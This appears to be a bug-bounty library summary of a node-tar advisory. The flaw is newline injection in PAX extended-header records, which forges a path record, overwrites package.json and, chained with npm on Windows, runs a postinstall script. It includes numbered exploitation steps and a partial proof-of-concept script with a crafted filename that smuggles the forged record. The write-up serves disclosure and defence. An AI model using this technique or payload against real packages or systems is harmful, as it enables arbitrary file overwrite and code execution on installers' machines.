# node-tar: Newline injection in PAX extended-header records enables entry-attribute forgery (path overwrite → npm postinstall RCE on Windows)

node-tar parses PAX records line-by-line, so a newline in a filename forges a path record, letting extraction overwrite package.json and run postinstall on Windows npm installs.

- Payout: Research
- Severity: high
- Program: node-tar
- Found by: Mojashi
- Disclosed: 2026-12-02
- CVE: CVE-2026-140238
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-mpg7-vg3p-wc3m
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-mpg7-vg3p-wc3m
- Tags: area:oss domain:oss impact:integrity impact:rce kind:research platform:ghsa sev:high tech:nodejs technique:chained technique:source-review vuln:crlf-injection vuln:path-traversal

**Target:** npm:tar PAX extended-header parser (src/pax.ts parseKV) and encoder (encodeField)
**Root cause:** parseKV splits the PAX body on newlines and validates only per-line self-consistency instead of framing records by declared byte length, so a newline inside a value starts an attacker-chosen record. encodeField also writes values unescaped, so node-tar itself emits forged records from newline-containing filenames.
**Steps:**
1. Create a file named `é\n21 path=package.json\n` inside `safe/` with content `PWNED-BY-ATTACKER`.
2. Pack with `tar.c({file, cwd: src, prefix: 'bundle'}, ['safe'])`.
3. Extract with `tar.x({file, cwd: out})` into a dir containing an existing `package.json`.
4. Observe `out/package.json` overwritten with attacker content, escaping the `bundle/safe/` prefix.
5. For npm: craft evil-pkg-1.0.0.tgz whose PAX value injects `x\package.json`; on Windows `normalizeWindowsPath` splits it and `strip:1` removes `x`, leaving `package.json` with an injected `postinstall`.
6. Run `npm install` on Windows Server 2022 / Node v22.14.0 / npm 10.9.2; postinstall executes.
**How found:** Noticed the source comment `// XXX Values with \n in them will fail this. Refactor to not be a naive line-by-line parse.` in parseKV, then reasoned that PAX framing is byte-length based, so a newline in a value becomes a forged record; traced encodeField's unescaped serialization and Object.assign application in ReadEntry#slurp, then built extraction and npm-install PoCs.
**Exploitation:** Attacker controls a filename in an archived tree or crafts the tarball directly. The embedded newline in the PAX value is reinterpreted as a record boundary, forging `path=package.json` (or `x\package.json` for npm). Direct node-tar use without strip writes outside the declared prefix, overwriting arbitrary files under the extraction root. On Windows npm installs, strip:1 plus backslash normalization reduces the forged path to `package.json`, overwriting the installed package manifest so the injected postinstall runs, giving arbitrary code execution during install.
**Escalation:** Chained path-overwrite primitive with npm's Windows path normalization and strip:1 to convert a file-write into postinstall code execution.
**Insight:** When a format frames records by declared byte length, any parser that splits on delimiters is forgeable via delimiter injection in values; grep for source comments admitting naive parsing, and check whether the same library's encoder emits the dangerous bytes, making self-produced archives exploitable too.

## Proof of concept (copied exactly from the original report)

**Minimal node-tar path-overwrite repro script**

```
const fs = require('fs'), path = require('path'), tar = require('tar')
const root = '/tmp/poc', src = path.join(root,'src'), out = path.join(root,'out')
fs.rmSync(src,{recursive:true,force:true}); fs.rmSync(out,{recursive:true,force:true})
fs.mkdirSync(path.join(src,'safe'),{recursive:true}); fs.mkdirSync(out,{recursive:true})
fs.writeFileSync(path.join(out,'package.json'),'ORIGINAL-CONTENT')
fs.writeFileSync(path.join(src,'safe','é\n21 path=package.json\n'),'PWNED-BY-ATTACKER')
;(async () => {
  await tar.c({ file: path.join(root,'pkg.tar'), cwd: src, prefix: 'bundle' }, ['safe'])
  await tar.x({ file: path.join(root,'pkg.tar'), cwd: out })
  console.log('out/package.json =', fs.readFileSync(path.join(out,'package.json'),'utf8'))
```

